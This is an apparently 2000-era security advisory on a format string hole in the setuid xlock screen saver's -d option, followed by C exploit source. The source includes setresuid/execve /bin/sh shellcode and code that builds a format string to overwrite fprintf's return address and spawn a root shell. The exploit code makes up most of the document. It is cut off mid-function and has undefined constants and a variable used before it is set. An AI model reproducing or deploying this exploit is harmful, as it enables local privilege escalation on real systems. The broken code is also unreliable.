Xlock -d format string exploit code has been released
22 Oct. 2000
Summary
Xlock, an X Windows screen saver locking mechanism, suffers from a security hole that allows local users to gain elevated privileges (depends on the user setuid/setgid xlock is set to).
The exploit code below can be used to test for this vulnerability.
Credit:
The information has been provided by Mr Ben.
Program calcuates all variables such as target return address, shellcode address
and the format string itself. The only thing not calculated is an offset that is
dependant on the version of xlock or how xlock was compiled.
The target address is fprintf()'s saved return address. This equals the value of
openDisplay()'s saved base pointer less offset bytes. Shellcode is appended to
the format string.
Stack picture:
see resource.c, xlock.c
fprintf(stderr, buf) A-48| ret | return address located at A - 48 bytes.
| stderr |
| buf |
error(buf) | bp A | first value printed by format string is A.
| ret |
| buf |
openDisplay(displayp) | buf |
| ? |
| ? |
| ? |
| ? |
| ? |
A| bp | base pointer located at address A.
/* number of words to print off the stack for analysis */
#define BIGBREAKFAST 400
/* xlock drops privs right away so we have to restore them again.
setresuid(0, 0, 0) then execve a shell */
char shellcode[] =
"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char *mkfmt(int prebuf,
int breakfast,
unsigned long int location,
unsigned long int value);
int main(int argc, char **argv){
FILE *fp;
char output[65536];
char fmtstr[FMTSIZE];
char command[CMDSIZE];
int i;
char *p;
int prebuf;
int breakfast;
unsigned long int location;
unsigned long int value;
int shellcode_size = sizeof shellcode;
int offset = OFFSET;
struct stat f;
i = stat(XLOCK_PATH, &f);
if (i) error(1, errno, "whereis xlock?");
if (!(f.st_mode & S_IXOTH)) error(1, 0, "executable?");
if (!(f.st_mode & S_ISUID)) error(1, 0, "not setuid");
if (argc > 1) {
offset = atoi(argv[1]);
}
/*
* Setup a format string to analyse the stack.
*/
/*
* Find the number of prebuf bytes (0x03's)to word align.
* 0 to 3 bytes may be needed to shove the token
* 01010101 of the fmt str onto a word boundary.
*/
i = 0;
do {
prebuf = i;
memset(fmtstr, 0x03, i);
memset(fmtstr + i, 0x01, 4);
sprintf(command, "%s -d '%s' 2>&1", XLOCK_PATH, fmtstr);
fp = popen(command, "r");
memset(output, 0, 65536);
fread(output, 1024, 64, fp);
fclose(fp);
#if DEBUG
printf("======== trying prebuf %d =======\n%s", i, output);
#endif
i++;
} while (!strstr(output, "01010101") && i < 4); /* prebuf bytes always less than 4 */
if (prebuf == 4){
error(1, 0, "could not find fmt str on the stack");
}
memset(output, 0x20, 40); /* clear the 'xlock: unable to open display' */
p = strtok(output, "\x20"); /* get A */
/*
* Store error()'s base ptr value in var location.
* Then find fprintf()'s ret by subracting offset.
*/
location = strtoul(p, NULL, 16);
location -= offset;
value = location /* fprintf's ret */
+ 12 /* 3 words to error's bp */
+ breakfast * 4 /* breakfast words to fmt str */
+ FMTSIZE /* to end of fmt str */
- shellcode_size /* to start of shellcode */
- 100; /* position in the NOPS for safe measure */
/*
* Walk down the output string looking for 01010101,
* counting how whole many words eaten to get there.
*/
for (breakfast = 1; ; breakfast++) {
p = strtok(NULL, "\x20");
if (!p) error(1, 0, "reached end of output string and no 01010101");
#if DEBUG
printf("eat %d to reach %s\n", breakfast, p);
#endif
if (!strcmp(p, "01010101")) break;
}
#if DEBUG
puts("====== command line ======");
printf("%s\n", command);
puts("====== end command ======");
#endif
puts("====== system() ======");
i = system(command);
puts("====== end system ======");
printf("\nsystem() returned %d\n", i);
printf("prebuf was %d bytes\n", prebuf);
printf("breakfast was %d words\n", breakfast);
printf("location was %.8lx\n", location);
printf("value was %.8lx\n", value);
puts("exiting.");
return 0;
}
/*
* Function to generate a nasty format string.
* MODIFIED FOR XLOCK EXPLOIT ONLY.
* breakfast - number of words to eat before reaching 01010101.
* location - memory address to write to.
* value - value to write.
*
* Resulting string looks something like this:
*
* "\x03\x03\x03" 0 to 3 bytes used to align next value on a word boundary.
* "\x01\x01\x01\x01" this must be aligned on a word boundary.
* "\xfc\xfa\xff\xbf" first write address.
* "\x01\x01\x01\x01"
* "\xfe\xfa\xff\xbf" second write address.
* "%.8x%.8x%.8x" this example breakfast = 3.
* "%.45780lx" this must write the first 01010101
* "%hn"
* "%.3371lx" writes the second 01010101
* "%hn"
*
*/
char *mkfmt(int prebuf,
int breakfast,
unsigned long int location,
unsigned long int value)
{
char *buf;
unsigned long int dest_addr[2];
unsigned int precision[2];
unsigned int small; /* small half of value */
unsigned int big; /* big half of value */
char *p;
int i;
buf = (char *) malloc(200);
if (!buf) {
error(1, errno, "failed to malloc");
}
big = value & 0x0000ffff; /* grab the 2 low order bytes */
small = (value & 0xffff0000) >> 16; /* and the 2 high order */
if (big < small) {
big ^= small; small ^= big; big ^= small;
dest_addr[0] = location;
dest_addr[1] = location +2;
}
else {
dest_addr[0] = location +2;
dest_addr[1] = location;
}
p = buf;
memset(p, 0x03, prebuf);
p += prebuf;
memcpy(p, "\x01\x01\x01\x01", 4);
p += 4;
memcpy(p, (char *)&dest_addr[0], 4);
p += 4;
memcpy(p, "\x01\x01\x01\x01", 4);
p += 4;
memcpy(p, (char *)&dest_addr[1], 4);
p += 4;
for (i=0; i < breakfast; i++){
memcpy(p, "%.8x", 4);
p += 4;
}
/* the 30 chars are the 'xlock: unable to open...' */
precision[0] = small - (8 * breakfast + 16 + prebuf + 30);
precision[1] = big - small;